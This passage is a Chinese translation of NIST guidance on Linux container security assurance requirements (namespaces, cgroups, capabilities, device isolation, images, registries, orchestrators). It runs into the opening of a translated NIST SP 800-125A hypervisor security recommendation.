
然而，还存在其他 IPC 对象，诸如 System V IPC 对象、信号量集合（数组）、共享内存片断，以及消息队列等。在 Linux 中，这些 IPC 对象可以借助允许创建完全不相交的 IPC 对象集合的 IPC 名称空间而被隔离开来。每一个 IPC 名称空间拥有其自身的 System V IPC 标识符集合以及自身的 POSIX 消息队列文件系统。在一个 IPC 名称空间中创建的对象对属于该名称空间的成员的所有其他进程可见，而对于其他 IPC 名称空间的进程不可见。对于某一个进程可访问的 IPC 对象可以利用 ipcs 命令列出，或者利用 ipcrm 命令移除。

5.2.4 容器网络隔离

容器的网络层级的隔离通过网络名称空间特性而提供。对于所创建的每一个网络名称空间，一组网络设备、IP 地址、 IP 路由表、/proc/net 目录，以及端口号可以与之相关联。每一个容器可以拥有其自身的虚拟网络设备和应用程序以绑定到每一个名称空间的端口号空间。宿主系统中的适当的路由规则可以将网络数据包指引到与某个特定容器相关联的网络设备。因此可能拥有例如同一宿主系统上的多个容器化的网络服务器，其中每一个服务器都在其（每个容器的）网络名称空间中绑定到 80 端口。

网络连接性是运行于容器中的生产级应用程序，诸如网络应用程序和多层应用程序，的核心要求。容器可以通过一种称为覆盖网络的逻辑 IP 网络连接起来。容器平台（由容器、容器运行时、宿主 OS 和物理宿主构成）的典型网络配置涉及在容器宿主上创建网桥。宿主上的每一个容器都连接到该网桥。路由器在其混合模式中从其桥接接口捕获以太网数据包，被捕获的包通过用户数据报协议（UDP）转发到运行于其他容器宿主中的路由器端。这些 UDP “连接”是双工的，可以穿透防火墙，并且可以被加密 [12]。每一个容器通过第 2 层（链路层）虚拟网络接口（VNI）连接到该网桥，该接口具有有效的链路层地址或者用于第 3 层连接性的网络地址转换（NAT）。Linux 的第 2 层网络隔离基于网络名称空间的概念，这允许创建若干网络栈以便提供一种完全独立于容器的视图 [4]。

使用第 2 层 VNI 的网络隔离的最简单配置涉及定义一对虚拟连接以太网（veth）接口，其中一个接口被指认给与容器相同的网络名称空间，而另一个被指认给宿主名称空间。这两个接口之间的虚拟连接随后被建立起来，因此将容器同物理网络连接起来。有两种选项以启用这种连接 [4]：

(a) 网桥设备：veth 接口和宿主物理接口通过虚拟网桥设备连接起来。在此选项中，所有容器和宿主接口被连接到同一链路层网桥，并且因此接收该网桥的所有链路层流量
(b) 路由表：另一个选项是利用路由表在（容器所被连接到的）虚拟网络接口和（驻留于宿主上的）物理网络接口之间转发流量。在此选项中，只有当显式地提供了网络路由时，容器才能进行彼此之间的通讯

安全性分析：由这两种选项提供的网络隔离功能强制容器进程使用被指认的虚拟网段或者被指认的网络路由（例如通过 VPN 连接）。在这两种选项之间，路由表的使用相对于网桥设备解决方案提供了略高一些的安全性担保，由于后者允许容器地址对于连接到该网桥的所有容器可见。

为容器提供网络连接性的另一种方式是使用 MACVLAN 接口 [13]，它也允许每一个容器拥有其独立的链路层地址。虚拟以太网端口汇聚器（VEPA）是最广泛地应用于此类容器隔离选项的配置模式。然而，仅当基于名称空间的方式通过基于标签的访问控制以及同来自其他全局名称空间的进程进行隔离而得到加强时，才可能在进程层级对容器提供完整的网络隔离担保。

5.2.5 容器的用户和组层级的隔离

有些进程可能需要 root 权限的某个子集。用户名称空间特性可用于将某些用户 ID 的权限限制为该所需的子集。用户名称空间将用户和组 ID 号空间隔离开来。换言之，某个进程的用户和组 ID 在某个用户名称空间内外可以不同。在此，最为有趣的案例是，某个进程可以在某个用户名称空间以外拥有正常的低权限用户 ID，而同时在此名称空间内拥有用户 ID 0。这意味着此进程在此用户名称空间内拥有完整的 root 操作权限，而在此名称空间以外则只有低操作权限。

从 Linux 3.8 开始，低权限进程可以创建用户名称空间，这为应用程序的有趣的全新的可能性开辟了道路。由于在其他情况下的低权限进程现在可以在其用户名称空间内保持 root 权限，低权限应用程序现在可以拥有对于之前仅限于 root 的功能的访问权限 [4]。

5.3 对于资源限制解决方案的要求

在 Linux 容器环境中，应对拒绝服务攻击的主要保护机制是允许设置不同资源限制的 Cgroups 特性。“限制”规范特性不仅限制诸如 CPU、内存、存储等硬件资源，也适用于进程和任务。除了限制特性以外，Cgroups 允许指认一系列潜在的“资源消耗大户任务”，它们可以通过发送 SIGSTOP 信号被冻结，并且在随后发送 SIGCONT 信号而解冻 [11]。

除了其防止拒绝服务攻击的主要作用以外，Cgroups 特性还可以提供额外的网络层级保护，通过某种方法（利用网络分类 Cgroup）对网络数据包以某个“类标识符”的值进行标记。这随后可以被用作参数以过滤特定的包。（这个类标识符的值也可被用于基于服务质量（QoS）要求的优先级处理，尽管此特性属于性能增强而非严格属于安全性。）

下列表格提供了 Cgroups 特性能够对其设置资源限制或者访问控制的硬件资源列表：

表 1——利用 Cgroups 的 Linux 资源限制

资源	“限制”特性或者访问控制
CPU	为一组进程指定 CPU 数量或者“CPU 份额”的值
内存	用于一组进程的“硬”和“软”内存分配单元
BLKIO	设置硬盘读写速度、每秒操作数、队列控制，以及由主要和次要数值所指认的等待时间；相对于文件系统的特定控制提供更多的粒度访问控制
设备	创建设备白名单，基于 (a) 类型（字符设备还是块设备）或者 (b) 主要和次要数值

Cgroups 配置应该提供下列担保：

(a) 它不应该暴露容器宿主信息，诸如通过 dmesg 暴露内核环缓冲，这可能协助内核漏洞利用或者信息泄漏
(b) 它不应该允许本地硬盘访问，即使是在用户名称空间内通过原生硬盘、设备或者 make node（mknod）访问挂载受限的名称空间 [11]

5.4 对于容器的最小化权限配置的要求

如前文所提到的，Linux 的能力特性可用于分割 root 权限集合。所有容器运行时产品，诸如 LXC、Docker 以及 CoreOS Rkt，都带有默认配置文件，其中，容器的某些能力被启用而某些被禁用 [11]。由于运行于容器中的应用程序的权限需求，某些默认值必须被修改（即某些默认被启用的能力需要被禁用，而某些默认被禁用的能力需要被启用）。然而，对于托管于容器中的大多数应用程序，在配置 Linux 的能力特性时，下列担保要求必须被满足：

(a) 提供权限以操纵非名称空间的内核参数（例如系统时间）的能力将会拥有该参数的效果，此参数的修改不仅是对于该容器，也是对于宿主和所有其他容器的。因此这样的能力（例如 CAP_SYS_TIME）不应该被启用
(b) 提供几乎等同于 root 的宽泛权限集合的能力不应该被启用（例如 CAP_SYS_ADMIN）
(c) 无需启用能力 CAP_SYS_MODULE，它允许加载和卸载内核模块，由于这会导致不安全的权限提升
(d) 能力特性应该总是和用户名称空间配合使用，由于任何错误地启用某些能力而导致的进程权限提升将会被限制在名称空间内

5.5 对于设备隔离解决方案的要求

在 Linux 中，对设备的访问是通过设备结点实现的，设备结点是为宿主的设备驱动程序提供接口的特殊文件。设备结点同文件系统的剩余部分分隔开来，并且它们的结点被置于 /dev 目录中。这些结点对于名称空间并不警觉。设备结点的创建是通过 udevd 守护进程发出 mknod 系统调用而实现的。进程创建设备结点（用于访问块设备或者字符设备）的许可是由 CAP_SYS_MKNOD 能力提供的。如果对应的设备将要在容器之间或者不同容器与宿主之间共享，则容器被赋予对设备结点的访问。然而，设备结点是安全敏感的，由于它们将接口（特别是存储接口）暴露给运行于内核空间的代码，这可能被滥用以获得非法数据访问、权限提升或者挂载其他攻击。

在容器之间提供设备层级的隔离的一种可能的解决方案是使用“设备名称空间”，如果被引用的输入/输出（物理）设备是对于名称空间警觉的。不幸的是，很多 Linux 内核发行版并不支持设备名称空间特性。如果可用，此特性可用于为每一个容器创建虚拟设备，它们可以被多路传输以访问某个物理宿主设备。更进一步地，如果控制物理设备的 Linux 设备驱动程序对于名称空间并不警觉，并且这些设备假设只有一个控制它们的主控结点，对于它们的访问权限很难被安全地赋予低权限的容器，除非该设备只由单一容器专属使用。

在缺少设备名称空间的情况下，两种特性被用于控制容器对设备的访问。它们是：(a) 控制组，或者 Cgroups；以及 (b) 基于标签的访问控制。设备的 Cgroups 子系统被用于创建白名单，基于类型（即字符设备还是块设备）以及设备的主要和次要编号来针对设备格式化。通配符“all”适用于所有设备类型以及主要和次要编号，并且通常在显式地将设备列入白名单之前被用作默认的拒绝 [11]。

在 Linux 环境中有两种基于标签的强制执行方式：安全增强式 Linux（SELinux）和 AppArmor。在 SELinux 中，类别标签被应用于进程和数据/设备，并且进程对于资源的访问将会被拒绝，如果它不属于正确的分类。例如，某个特定的标签可以被应用于某个给定的容器 X，并且将要由该容器消费的数据被指认给相同的标签。由于指认类别过程的灵活性，SELinux 可以被用于强制实施精细粒度策略。AppArmor 是另一种基于标签的系统，它提供基于路径的访问控制（与 SELinux 中的文件系统结点相对）。对于特定应用程序、进程或者容器，限制条件可以被聚合起来以定义配置文件。所有这些基于标签的系统的共同的弱点在于，它们所提供的控制可以通过直接执行系统调用而被破坏。

因此，对于设备隔离解决方案的担保要求包括：

(a) 所有容器必须被防止创建新的设备结点，并且 CAP_SYS_MKNOD 能力对于它们不应该被启用
(b) 容器内的所有挂载点应该设置 nodev 标识（通过利用 mount 命令的 nodev 选项）以防止它们被用于创建文件以访问设备驱动程序
(c) 所有容器应该仅被允许访问下列设备的集合，由于它们被表征为安全的 [4]，基于下列给出的观察：
- 完全虚拟设备——诸如伪终端和虚拟网络接口；此安全担保来自这些设备为每一个容器显式地创建并且未被共享这一事实
- 无状态设备——诸如 random、null 及其他；在所有容器之间共享这些设备的同时仍然能够保持宿主安全，由于它们是无状态的
- 对于用户名称空间警觉的设备——如果此设备（通过设备驱动程序代码）支持对于对应用户名称空间中的进程的验证能力，则这样的设备可以被安全地暴露给容器，由于特定的限制条件将会被强制实施
(d) 如果 Cgroups 和基于标签的强制执行系统都被用于控制对设备的访问，应当谨慎以确保它们各自的规则不会产生冲突

5.6 对于容器启动选项的要求

每一种容器运行时产品都有带有众多参数的命令以启动容器。与此命令的安全使用相关联的担保要求被叙述为一组应该被避免使用的选项 [4]。作为最佳安全实践，容器不应该使用那些当它被启动时将会共享与容器宿主相关联的任何名称空间的选项 [11]。如若不然，这可能不仅允许容器查看与该名称空间相关联的资源/对象，而且允许操纵这些资源/对象，通过破坏由容器的名称空间的静态配置提供的隔离。下表提供了这样的名称空间的列表，对于它们而言，共享宿主侧的对应物不应该被用于容器启动选项。

表 2——禁止的容器启动选项

名称空间/范例资源-对象	简述	安全威胁
Unix 分时系统（UTS）	所有容器被指认给其自身的 UTS 名称空间，因此无需获知宿主的 UTS 名称空间	容器中的进程可以看到并且操作宿主的主机名和域
IPC/共享内存片断	应用程序模块之间的用于进程间通信的共享内存片断被设置以用于快速通讯，由于它们比 REST API 调用更快	容器中的进程可以看到并且操作宿主的 IPC 对象
文件系统	宿主敏感的目录不应该以读写模式挂载为容器卷	赋予容器修改这些目录中的文件的能力，带有潜在破坏宿主安全的风险
在容器启动命令中设置 `net=host`	容器的网络模式不应该被设置为等同于宿主	这将会赋予容器只有宿主才应该拥有的权限（例如关闭其自身）或者访问只有宿主才需要访问的网络服务的权限
将容器端口公开至宿主	这被用于设置出入该容器的通讯	公开所有接口的默认选项不应该被使用；通过显式指定端口应该被绑定到的接口，出入该容器的流量被限制在给定的接口
容器间通讯	如果存在，此选项允许任何类型的容器间通讯，它必须不能被启用；与之相反，在两个需要通讯的容器之间必须显式设置通讯信道	任何被攻击的容器可以攻击宿主上的任何其他容器

除了涉及同宿主共享的对象的容器启动选项以外，有一些专门适用于容器的参数应该在容器启动时被设置：

(a) 容器应该总是被启动为具有一定的内存限制，以防止拒绝服务攻击，或是某些应用程序泄漏内存，以至于它最终将会消耗宿主的全部内存
(b) 容器应该总是通过指定 CPU 份额数值而启动。默认值（总 CPU 数/容器数）可能对于某些容器并不够用，导致拒绝服务。指认给某一容器的 CPU 份额数值应该使得没有容器可以导致具有默认设置的其他容器得不到足够的资源。更进一步地，如果存在这样一组容器，其在 CPU 使用上相对于其他容器占据主导地位，则较低的默认值应该被指认给该组中的容器，以保证 CPU 份额的公平分配
(c) 如果宿主 OS Linux 发行版支持某种基于标签的系统（例如 SELinux），则应该设置策略模板。容器引擎应该被启动为带有选项以识别该模板，并且容器启动 API 应该拥有选项以识别此策略模板参数，并且将其作为启动参数的一部分而包括进来
(d) 容器应该被启动为仅有“必要的”能力，通过在初始时放弃所有能力，并且随后仅添加必要的能力。下列能力通常不应该存在于容器配置中（即 NET_ADMIN、SYS_ADMIN、SYS_MODULE），由于它们提供了超出大多数部署所必要的权限

第 6 章镜像完整性解决方案的担保要求

容器镜像的完整性至关重要，由于它们被转换为运行着的实例，其中的一些可能还会托管关键任务应用程序。容器安全性指南 一文所覆盖的镜像反制措施包括关于监视镜像以查找恶意软件以及其他漏洞、适当的镜像配置、同镜像文件隔离机密信息，以及通过密码学签名以及常规更新来保证镜像中的信任等方面的建议。执行这些建议所需的安全性解决方案应该包括下列担保要求：

(a) 应该存在方式以创建将每一个镜像连接至其基本镜像的元数据
(b) 应该存在特性以自动重建镜像，如果与之连接的基本镜像发生更改 [6]
(c) 如果对基本镜像或者被依赖的镜像进行了任何修改（例如为漏洞打补丁），不应该对运行着的容器进行修改，与之相反，应该利用修改过的镜像重建对应的镜像，并且重新启动容器。因此，对于任何服务都需要维护单一的主镜像或者黄金镜像
(d) 如果将“镜像签名”解决方案用于对每一个镜像进行数字签名和唯一性识别，下列要求应该被满足 [6]：
- 1. 应该存在强壮的密钥管理机制以使得密钥攻击的可能性最小化。一种方式是拥有 PKI 系统以便为每一位开发者签发专门用于签名镜像的证书。与此证书相关联的私钥将会成为“签名密钥”以被用于签名某个库中的所有容器镜像
- 1. 必须通过在签名的容器镜像中嵌入过期时间戳来化解重放攻击。或者，某个特殊的密钥可以被用于签名该库的元数据，以保证该库中的镜像不包含带有有效签名的不新鲜版本的镜像
(e) 除了利用数字签名为镜像创建唯一的身份标识以外，此镜像的单个组件的完整性可以通过为每一个组件使用诸如配对的密钥/值等标签来保证
(f) 镜像应该以这样的方式来创建，以使得其中的应用程序不能被用于任何权限提升攻击。这可以通过禁用 chmod a-s 命令以移除 suid 位，或者移除其中的 setuid 和 setgid 二进制文件来实现 [6]。

第 7 章镜像注册表保护的担保要求

容器安全性指南 一文中提议的注册表反制措施包括开发对于注册表的安全连接，以及保证注册表中不包含过时的、易受攻击的镜像，通过某种自动化的过程将其删除，或者通过使用专用的版本号来控制其意外部署。某些与这些反制措施并不相关，但是对于涉及出入注册表的镜像的创建、发布和移除过程仍然至关重要的担保要求包括：

(a) 能够访问注册表的帐户数量必须被限制，由于某些环境中的普遍威胁是帐户劫持，如果一大批各式各样的帐户都拥有对某个容器注册表的访问权限。此类环境之一是由提供容器服务的云服务提供商维护的注册表
(b) 对于创建容器镜像注册表以及为注册表添加或者移除内容的许可必须以密码学方式来保护

第 8 章编排器功能的担保要求

在容器化的基础设施中使用编排器平台（由一套工具组成）的本意是执行下列功能：

允许定义集群（一个命名的容器宿主的组，可以视为单一实体进行管理）以及将容器编排至集群中。集群的配置应该支持指定下列参数，诸如保留的 CPU/内存数量、副本（即要运行的相同容器的重复备份）数量，以及判断容器应该持续运行还是被下线的环境
允许容器在不同集群宿主中的自动部署（容器计划），这是通过整合不同的自动化工具以便将自动化脚本作为编排工作流的一部分而执行，并且获取来自这些自动化任务的反馈和状态结果而实现的。此类整合依赖于自动化工具提供的接口以及它们所遵循的格式类型（开放或者封闭）[14]
供货或者定义新的容器宿主，并且将其连接到现有的集群

容器安全性指南 一文中提议的编排器反制措施包括基于作为参数的宿主、容器、镜像的管理行为的粒度访问控制、使用强凭证和目录的企业级认证服务，以及基于运行于其中的应用程序的敏感度级别将容器隔离至独立的宿主。除了这些反制措施以外，编排器应该满足下列安全性担保要求：

(a) 集群应该拥有能力以记录日志并且监视单个容器的资源消耗特征，以避免资源使用中的意外峰值，由于这会导致关键资源的不可用性
(b) 编排器平台必须在具有多于一种宿主 OS 的容器化的基础设施中可用。换言之，所使用的编排器工具必须对于容器宿主 OS 中立。将不同的工具用于不同的容器宿主 OS 平台将会增加这些环境中的拒绝服务攻击的可能性，由于企业不能获取在其整个容器化的基础设施中运行的所有容器的资源使用的全局视图

第 9 章某些安全性解决方案的副作用

当在安全性目标（例如文件系统隔离）的上下文环境中讨论某种安全性解决方案（例如使用挂载名称空间）时，某些增强解决方案被推荐，由于被讨论的解决方案就其自身而言不能满足此目标。然而，对于某些安全性解决方案，无论采用何种增强控制，都会为某些容器功能的实用性和性能施加某些限制。尽管它们的直接影响只是功能和性能方面的，它们可能对于某些安全性参数具有间接影响。例如，在设置系统调用过滤器（带有白名单和黑名单）时使用 Seccomp 作为安全性解决方案（由于系统调用对于名称空间并不警觉，因此排除了使用名称空间特性的可能性）时，恶意进程的存在可能引发容器之间的泄漏。更进一步地，被允许的系统调用的选择是基于容器中的一组当前应用程序的，则此安全性解决方案具有引入应用程序不兼容性的潜在可能，由于应用程序可能出于负载均衡等原因在容器之间迁移。

第 10 章总结和结论

此文档中所分析的安全性解决方案可以总结如下：

(a) 利用诸如 TPM 和 vTPM 等基于硬件的可信根解决方案为容器栈的诸如 Linux（宿主 OS）、容器运行时以及容器等软件组件提供完整性的认证和证明
(b) 利用基于硬件的保护机制将容器彼此屏蔽开来，以及将容器同诸如 Linux 内核等高权限软件屏蔽开来，通过使用由硬件架构提供的安全执行环境（例如 Intel SGX）
(c) 利用 Linux 内核特性（名称空间、Cgroups、能力）以及可加载内核模块（LKM）特性来保护 Linux 内核本身，以及保护某个容器不受其他容器的影响
(d) 用于容器运行时、容器镜像、容器注册表以及容器编排器工具的保护措施

通过以上分析得出的结论是，每一种安全性解决方案必须满足某些安全性担保要求以便有效地提供必要和充分的安全性保证。

附录 A——首字母缩略词

此论文中使用的部分选定的首字母缩略词和缩略语定义如下：

EPC：enclave 页缓存
IPC：进程间通信
MEE：内存加密引擎
NAT：网络地址转换
PID：进程 ID
PKI：公钥基础设施
SGX：Software Guard eXtensions
TPM：可信平台模块
UDP：用户数据报协议
UTS：Unix 分时系统
VM：虚拟机
VNI：虚拟网络接口

附录 B——参考文献

[1] NIST Special Publication (SP) 800-190, Application Container Security Guide, National Institute of Standards and Technology, Gaithersburg, Maryland, September 2017. https://doi.org/10.6028/NIST.SP.800-190.
[2] W. Felter, A. Ferreira, R. Rajamony, and J. Rubio, An Updated Performance Comparison of Virtual Machines and Linux Containers, IBM Research Report, RC25482 (AUS1407-001), July 21, 2014. https://domino.research.ibm.com/library/cyberdig.nsf/papers/0929052195DD819C85257D2300681E7B/$File/rc25482.pdf.
[3] Cloud Standards Customer Council, Practical Guide to Platform-as-a-Service, Version 1.0, September 2015. http://www.cloud-council.org/deliverables/CSCC-Practical-Guide-to-PaaS.pdf.
[4] E. Reshetova, J. Karhunen, T. Nyman, and N. Asokan, Security of OS-level virtualization technologies, Cornell University Library, July 16, 2014. https://arxiv.org/abs/1407.4245.
[5] T. Combe, A.Martin, and R. Pietro, “To Docker or Not to Docker: A Security Perspective,” IEEE Computer 3(5), September-October 2016, pp. 54-62. https://doi.org/10.1109/MCC.2016.100.
[6] A. Mouat, Docker Security, O’Reilly Media, 2015.
[7] S. Hosseinzadeh, S. Laurén , and V. Leppänen, “Security in container-based Virtualization through vTPM,” Proceedings of IEEE/ACM 9th International Conference on Utility and Cloud Computing, Shanghai, China, December 2016, pp. 214-219. https://doi.org/10.1145/2996890.3009903.
[8] S. Arnautov, B. Trach, F. Gregor, T. Knauth, A. Martin, C. Priebe, J. Lind, D. Muthukumaran, D. O’Keeffe, M. L. Stillwell, D. Goltzsche, D. Eyers, R. Kapitza, P. Pietzuch, and C. Fetzer, “SCONE: Secure Linux Containers with Intel SGX,” Proceedings of the 12th USENIX Symposium on Operating Systems Design and Implementation (OSDI ’16), Savannah, Georgia, United States, November 2–4, 2016. https://www.usenix.org/system/files/conference/osdi16/osdi16-arnautov.pdf.
[9] grsecurity, https://grsecurity.net/features.php
[10] Home Page of The PaX Team [Web site], https://pax.grsecurity.net/
[11] A. Grattafiori, Understanding and Hardening Linux Containers – Version 1.1, NCC Group Whitepaper, June 29, 2016. https://www.nccgroup.trust/us/our-research/understanding-and-hardening-linux-containers/.
[12] N. Kratzke, “About Microservices, Containers and their Underestimated Impact on Network Performance,” CLOUD COMPUTING 2015: The Sixth International Conference on Cloud Computing, GRIDs, and Virtualization, Nice, France, 2015, pp. 165-169. https://doi.org/10.13140/RG.2.1.2039.3046.
[13] Linux Containers, LxC project, https://linuxcontainers.org/lxc/introduction/.
[14] B. Kirsch, What to choose from the top orchestration software on the market, January 2017. http://searchitoperations.techtarget.com/feature/What-to-choose-from-the-top-orchestration-software-on-the-market.
[15] K. Cook, Using Simple Seccomp filters, November 2012. https://outflux.net/teach-seccomp/

NIST SP 800-125A: 基于服务器的虚拟机监视器平台的安全性建议

Tue, 09 Apr 2019 00:00:00 +0000

NIST 特别出版 800-125A 修订版本 1

基于服务器的虚拟机监视器平台的安全性建议

Ramaswamy Chandramouli 著

计算机安全分部，信息科技实验室

此出版物可从此处免费获得：

https://doi.org/10.6028/NIST.SP.800-125Ar1

2018 年六月

美国商务部秘书 Wilbur L. Ross, Jr.

美国国家标准技术研究所 NIST 主任和标准技术商务次长 Walter Copan

权力范围

此出版物由 NIST 开发以符合其在 2014 年的美国联邦信息安全现代化法案（FISMA），美国法典第 44 章 3551 节及其下的内容，公法（P.L.）113-283。NIST 负责为联邦信息系统开发信息安全标准和指南，但是这些标准和指南不应该被应用于国家安全系统，如果没有对这些系统行使政策权力的适当的联邦官员的明确许可。此指南同美国行政管理和预算局（OMB）公告 A-130 的要求相一致。

此出版物中的任何内容都不应该被用于否认由美国商务部秘书在法定权力下规定的对于联邦政府机构具有强制性和法律约束力的标准和指导意见。这些指导意见也不应该被解读为更改或者取代商务部秘书、行政管理和预算局主任，或是任何其他联邦官员的现有权力。此出版物可以在自愿的基础上被非政府组织使用，并且不受美国版权的限制。但是 NIST 要求署名权。

美国国家标准技术研究所特别出版 800-125A 修订版本 1

Natl. Inst. Stand. Technol. Spec. Publ. 800-125A Rev. 1，38 页（2018 年六月）

https://doi.org/10.6028/NIST.SP.800-125Ar1

CODEN：NSPUE2

此文档中可能会提到某些商业实体、设备或者器材以便充分地描述某种试验程序或者概念。这样的提名的本意并非暗示 NIST 对其的推荐或认可，也非暗示这些实体、器材或者设备一定是可用于该目的之最好的。

此文档中可能会有对于 NIST 的当前正在开发中的其他出版物的引用，以便符合其被赋予的法定责任。此出版物中的信息，包括概念和方法论，可以被联邦政府机构使用，即使是在这些附带的出版物完成之前。因此，直到每部出版物完成之前，当前的要求、指导意见和过程在其所存在之处仍然有效。关于计划和迁移的目的，联邦政府机构可能想要紧密跟踪由 NIST 提供的这些新出版物的进展。

我们鼓励组织机构在公开评论期间审阅所有出版物草案，并且向 NIST 提供反馈。除了上述出版物以外，NIST 的众多计算机安全出版物可以从 https://csrc.nist.gov/publications 获取。

关于此出版物的评论可以被提交至：

美国国家标准技术研究所

收件人：计算机安全分部，信息科技实验室，办事处大道 100 号（8930 邮递点），盖瑟斯堡，马里兰州 20899-8930

邮件：sp800-125A-comments@nist.gov

所有评论必须在美国信息自由法（FOIA）条款下发布。

计算机系统技术报告

摘要

虚拟机监视器平台是一系列提供了硬件资源（诸如 CPU、内存、网络和存储等）虚拟化的软件模块的集合，并且因此允许称为虚拟机（VM）的多个计算栈（由操作系统（OS）和应用程序构成）运行在单一物理宿主上。此外，它还可能拥有在单一物理宿主内部定义网络（称为虚拟网络）的功能，以允许驻留在该宿主上的虚拟机之间以及该宿主外部的物理和虚拟机之间的通讯。由于有了全部这些功能，虚拟机监视器负有责任以调度对于物理资源的访问、在驻留的虚拟机之间提供运行时隔离，以及启用虚拟网络，该虚拟网络在虚拟机之间以及虚拟机和外部网络之间提供保持安全性的通讯流。虚拟机监视器的架构可以以不同方式进行分类。此文档中的安全性建议是关于保证虚拟机监视器的基线功能的安全执行的，并且因此对于虚拟机监视器的架构不可知。更进一步地，这些建议适用于针对服务器虚拟化而部署的虚拟机监视器的上下文环境，因此并不适用于其他应用案例，诸如嵌入式系统和桌面。关于虚拟网络的安全配置的建议在另一篇 NIST 文档中解决（特别出版 800-125B）。

关键字

虚拟化；虚拟机监视器；虚拟机；虚拟网络；安全配置；安全性监视；客户操作系统

致谢

作者 Ramaswamy Chandramouli 想要感谢他的同事 Tim Grance，由于他个人对内容的贡献以及对于此出版物的组织工作的帮助。特别感谢来自 Bosch Center of Competence Security 的 Andreas Bartelt，由于他对于关于设备虚拟化技术的宝贵贡献。作者还想感谢 Michael Bartock，由于他作为分部读者的宝贵审阅和反馈。最后，同样重要的是，作者感谢 Isabel van Wyk，由于她的详细的编辑审阅。

对审稿人的注记

此修订版本包括用于设备虚拟化的额外技术，诸如准虚拟化、透传和自虚拟化的硬件设备等，以及相关的安全性建议。此修订版本中的主要内容更改位于第 1.1、2.2.2 节和第 5 章。

执行摘要

服务器虚拟化现在是用于数据中心和云服务中的企业级信息科技（IT）基础设施的一种已经确立的技术，由于它能够提供对于硬件资源的更佳利用，减少所需的物理空间，并且减少能耗和管理开销。用于服务器虚拟化的核心软件称为虚拟机监视器，它直接提供中央处理器（CPU）和内存的虚拟化。同它的支持模块一起，它允许所有硬件资源（例如 CPU、内存、网络和存储等）的虚拟化，并且因此允许多个称为虚拟机（VM）或者客户机的计算栈，其中每一个都托管操作系统（OS）（客户机 OS）和应用程序，运行在单一的物理宿主上。此物理宿主称为虚拟化宿主或者虚拟机监视器宿主。由于虚拟机监视器就其自身而言不能提供服务器虚拟化所需的所有功能，它拥有用于设备（例如网络和存储设备）虚拟化的软件模块（例如设备驱动程序），以及用于虚拟机生命周期操作和虚拟机监视器配置的管理模块。虚拟机监视器与这些支持模块以及宿主硬件一起构成了虚拟机监视器平台。虚拟机监视器可以直接安装在硬件或者裸机上（第 1 类虚拟机监视器），也可以安装在称为宿主操作系统的完整的传统操作系统上（第 2 类虚拟机监视器）。

初看起来，与虚拟机监视器及其硬件宿主（共同称为虚拟机监视器平台）的安全管理相关的所有活动可能看起来应该只是包含任何服务器级别的软件及其托管环境的已确立的最先进的技术实践。然而，仔细检查一下就会发现，用于支持虚拟机监视器所提供的硬件虚拟化的功能具有广泛的安全性后果，并且因此需要一组基于针对这些功能的安全执行的威胁的分析的目标明确的安全性建议。

由于存在多种方式对虚拟机监视器架构进行分类，此文档中所采用的方式是识别虚拟机监视器所执行的基线功能、每一项基线功能所涉及的任务、该任务的安全执行的潜在威胁，以及以安全性建议的形式给出的，能够提供担保以对抗利用这些威胁的反制措施。

以下 5 种功能被识别为虚拟机监视器平台的基线功能：

VM 进程隔离
设备调度和访问控制
来自客户 VM 的命令的直接执行
VM 生命周期管理
虚拟机监视器平台的管理

除了为保证上述基线功能的安全执行提供安全性建议以外，此文档还提供了关于保证虚拟机监视器平台的所有组件的整体完整性的建议。这些建议涵盖了第 1 类和第 2 类虚拟机监视器。

此文档并未涵盖用于虚拟机监视器所安装在其上的物理宿主的程式化管理功能的安全执行。用于反制物理访问威胁以及用于运行在 VM 上的客户 OS 和应用程序的保护要求及其相关联的安全性建议同样超出了此文档的范围。更进一步地，这些安全性建议适用于针对服务器虚拟化而部署的虚拟机监视器，并且并不涵盖其他应用案例，诸如面向桌面和嵌入式系统的虚拟机监视器应用。

第 1 章简介、范围和目标受众

虚拟机监视器是提供服务器虚拟化的核心软件。同它的支持模块一起，它允许所有硬件资源（例如 CPU、内存、网络和磁盘等）的虚拟化，并且因此允许多个计算栈（基本上是由 OS 和应用程序构成）运行在单一的物理宿主上。这样的物理宿主称为虚拟化宿主（在此文档中有时也称为虚拟机监视器宿主），独立的计算栈被封装在称为虚拟机（VM）的东西中。为了成为独立可执行的实体，VM 的定义应该包括分配给它的资源（例如 CPU、内存等）。VM 也称为“客户机”，而它们内部运行的操作系统（OS）称为“客户 OS”。与 VM 相关联的资源是虚拟资源，与同物理宿主相关联的物理资源相对。虚拟机监视器同这些支持模块以及托管硬件一同构成了虚拟机监视器平台。

虚拟机监视器的主要功能是强制执行客户 OS 隔离，以及客户 VM 之间的受控资源共享。因此它起到了传统 OS 对于非虚拟化的宿主（服务器）所起的作用中的很多。正如传统 OS 为运行在服务器上的不同应用程序（或者进程）之间提供隔离那样，虚拟机监视器为运行在其上的一台或者多台 VM 之间提供隔离。同样，类似于 OS，虚拟机监视器在多个 VM 之间调度其对物理资源（设备）的访问。尽管对于 CPU 和内存访问（以保证进程隔离）直接由虚拟机监视器处理（分别通过指令集（CPU）虚拟化和内存虚拟化，不论是否得到来自硬件的辅助），虚拟机监视器通过调用运行于内核之中的，或者称为设备驱动程序 VM 的专用 VM 之中的软件模块来处理对设备访问（设备虚拟化）的调度。虚拟机监视器可以直接安装在硬件或者裸机上（第 1 类虚拟机监视器），或者安装在称为宿主 OS 的完整传统 OS 上（第 2 类虚拟机监视器）。

初看起来，与虚拟机监视器及其硬件宿主（共同称为虚拟机监视器平台）的安全管理相关的所有活动可能看起来应该只是包含任何服务器级别的软件及其托管环境的已确立的最先进的技术实践。然而，仔细检查一下就会发现，用于支持虚拟机监视器所提供的硬件虚拟化的功能具有广泛的安全性后果，并且因此需要一组基于针对这些功能的完整性的威胁的分析的目标明确的安全性建议。在此文档中，这些功能称为虚拟机监视器的基线功能。

虚拟机监视器的基线功能包括：

VM 进程隔离
设备调度和访问控制
来自客户 VM 的命令的直接执行
VM 生命周期管理
虚拟机监视器平台的管理

对于上述功能的简略描述于下文 1.1 节给出。

1.1 虚拟机监视器的基线功能（HY-BF）

